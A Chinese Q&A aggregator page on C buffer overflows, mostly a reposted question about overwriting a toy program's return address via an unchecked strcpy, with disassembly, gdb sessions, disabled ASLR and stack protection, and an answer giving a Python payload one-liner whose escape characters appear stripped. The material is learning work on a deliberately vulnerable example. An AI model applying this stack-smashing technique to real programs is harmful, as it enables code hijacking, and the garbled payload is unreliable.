c语言程序缓冲区溢出怎么办?

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了c语言程序缓冲区溢出怎么办?相关的知识,希望对你有一定的参考价值。

参考技术A 办法很多
1、增加缓冲区大小
2、函数调用前为缓冲区增加边界标识,调用后进行越界判断
3、在函数中进行缓冲区预警,过界就报错
……本回答被提问者和网友采纳
参考技术B 溢出了,谁也没有办法。在写程序时,应该避免。 参考技术C 具体情况请详细说明一下

试图缓冲溢出简单的c程序

我有问题缓冲溢出一个从命令行获取输入的简单c程序,这是main.c代码:

#include <stdio.h>
#include <string.h>
void func(char *name)
{
    char buf[10];
    strcpy(buf, name);
}
void chgflow(){
         printf("changed flow!!
");
}
void main(int argc, char *argv[])
{
    func(argv[1]);
    printf("i should not be viewed if flow is changed
");
    chgflow();
}

这是从objdump -d ./main获取的汇编版本:

<main>:
 5a3:   8d 4c 24 04             lea    0x4(%esp),%ecx
 5a7:   83 e4 f0                and    $0xfffffff0,%esp
 5aa:   ff 71 fc                pushl  -0x4(%ecx)
 5ad:   55                      push   %ebp
 5ae:   89 e5                   mov    %esp,%ebp
 5b0:   53                      push   %ebx
 5b1:   51                      push   %ecx
 5b2:   e8 99 fe ff ff          call   450 <__x86.get_pc_thunk.bx>
 5b7:   81 c3 49 1a 00 00       add    $0x1a49,%ebx
 5bd:   89 c8                   mov    %ecx,%eax
 5bf:   8b 40 04                mov    0x4(%eax),%eax
 5c2:   83 c0 04                add    $0x4,%eax
 5c5:   8b 00                   mov    (%eax),%eax
 5c7:   83 ec 0c                sub    $0xc,%esp
 5ca:   50                      push   %eax
 5cb:   e8 7d ff ff ff          call   54d <func>
 5d0:   83 c4 10                add    $0x10,%esp
 5d3:   83 ec 0c                sub    $0xc,%esp
5d6:   8d 83 90 e6 ff ff       lea    -0x1970(%ebx),%eax
 5dc:   50                      push   %eax
 5dd:   e8 fe fd ff ff          call   3e0 <puts@plt>
 5e2:   83 c4 10                add    $0x10,%esp
 5e5:   e8 8e ff ff ff          call   578 <chgflow>
 5ea:   90                      nop
 5eb:   8d 65 f8                lea    -0x8(%ebp),%esp
 5ee:   59                      pop    %ecx
 5ef:   5b                      pop    %ebx
 5f0:   5d                      pop    %ebp
 5f1:   8d 61 fc                lea    -0x4(%ecx),%esp
 5f4:   c3                      ret

<func>:
 54d:   55                      push   %ebp
 54e:   89 e5                   mov    %esp,%ebp
 550:   53                      push   %ebx
 551:   83 ec 14                sub    $0x14,%esp
 554:   e8 9c 00 00 00          call   5f5 <__x86.get_pc_thunk.ax>
 559:   05 a7 1a 00 00          add    $0x1aa7,%eax
 55e:   83 ec 08                sub    $0x8,%esp
 561:   ff 75 08                pushl  0x8(%ebp)
 564:   8d 55 ee                lea    -0x12(%ebp),%edx
 567:   52                      push   %edx
 568:   89 c3                   mov    %eax,%ebx
 56a:   e8 61 fe ff ff          call   3d0 <strcpy@plt>
 56f:   83 c4 10                add    $0x10,%esp
 572:   90                      nop
 573:   8b 5d fc                mov    -0x4(%ebp),%ebx
 576:   c9                      leave
 577:   c3                      ret

<chgflow>:
 578:   55                      push   %ebp
 579:   89 e5                   mov    %esp,%ebp
 57b:   53                      push   %ebx
 57c:   83 ec 04                sub    $0x4,%esp
 57f:   e8 71 00 00 00          call   5f5 <__x86.get_pc_thunk.ax>
 584:   05 7c 1a 00 00          add    $0x1a7c,%eax
 589:   83 ec 0c                sub    $0xc,%esp
 58c:   8d 90 80 e6 ff ff       lea    -0x1980(%eax),%edx
 592:   52                      push   %edx
 593:   89 c3                   mov    %eax,%ebx
 595:   e8 46 fe ff ff          call   3e0 <puts@plt>
 59a:   83 c4 10                add    $0x10,%esp
 59d:   90                      nop
 59e:   8b 5d fc                mov    -0x4(%ebp),%ebx
 5a1:   c9                      leave
 5a2:   c3                      ret

首先我执行了:

echo 0 > /proc/sys/kernel/randomize_va_space

然后编译main.c:

gcc -m32 -g main.c -o main -fno-stack-protector

当“func”函数终止时,我想覆盖常规的ret地址,并指向“chgflow”函数,因此绕过常规的下一条指令:

printf("i should not be viewed if flow is changed
");

调试main.c并检查我执行的内存地址:

gdb ./main
go
disas main
disas func
disas chgflow

这就是我为disas主要发现的:

0x565555cb <+40>:    call   0x5655554d <func>
0x565555d0 <+45>:    add    $0x10,%esp

对于chgflow:

Dump of assembler code for function chgflow:
0x56555578 <+0>:     push   %ebp

所以我能理解:

0x565555d0 <+45>:    add    $0x10,%esp

是“func”终止后的常规ret地址(和下一条指令),0x56555578是“chgflow”功能的第一条指令。现在我必须检查“func”的组装,以了解填充堆栈需要多少char A(让我们说);从这一行:

564:   8d 55 ee                lea    -0x12(%ebp),%edx

我明白我需要18Byte + 4字节的A填充来获取Ret地址。为了确认我再次执行:

gdb ./main
break 7
run AAAAAAAAAAAAAAAAAAAAAA

(“A”重复22次)

(gdb) x/s $ebp-18
0xffffd2a6: 'A' <repeats 22 times>
(gdb) x/s $ebp
0xffffd2b8: "AAAA"
(gdb) x/x $ebp+4
0xffffd2bc: 0x00

我的测试在这里完成,因为我无法理解为什么(gdb)x / x $ ebp + 4应该是Ret地址,结果显示0x00。我期望ret地址不会从常规的0x565555d0改变。但是,嘿! 00应该是终结者不是吗?所以我继续用21“A”填充进行另一次测试,这次结果是正确的:

(gdb) x/x $ebp+4
0xffffd2bc: 0x565555d0

我现在最后需要用0x56555578覆盖返回地址,这是“chgflow”函数的第一条指令的地址。我执行了之前的测试,取而代之的是:

run AAAAAAAAAAAAAAAAAAAAAx78x55x55x56

(“A”重复21次)但是gdb给了我:

Breakpoint 1, func (name=0x35357835 <error: Cannot access memory at      address 0x35357835>) at main.c:7

这是我从记忆中看到的:

(gdb) x/x $ebp+4
0xffffd2ac: 0x37
(gdb) x/s $ebp+4
0xffffd2ac: "78x55x55x56"

最后我无法跳到“chgflow”。

有人可以帮我这个吗?我真的很感激。对马可来说

答案

这不是将参数传递给gdb的正确方法

run AAAAAAAAAAAAAAAAAAAAAx78x55x55x56

您也可以从错误消息中了解它

Breakpoint 1, func (name=0x35357835 <error: Cannot access memory at      address 0x35357835>) at main.c:7

特别是这一行

address 0x35357835

你可以使用例如

run $(python -c 'print "AAAAAAAAAAAAAAAAAAAAA" + "x78x55x55x56"')

以上是关于c语言程序缓冲区溢出怎么办?的主要内容,如果未能解决你的问题,请参考以下文章

C语言中为了避免缓冲区溢出应尽量使用哪些函数

C语言中为了避免缓冲区溢出应尽量使用哪些函数

怎么解决 LINUX 堆栈溢出内存的问题

c++缓冲区溢出问题

McAfee提示“缓冲区溢出”,该怎么处理?

c/c++ 运算溢出问题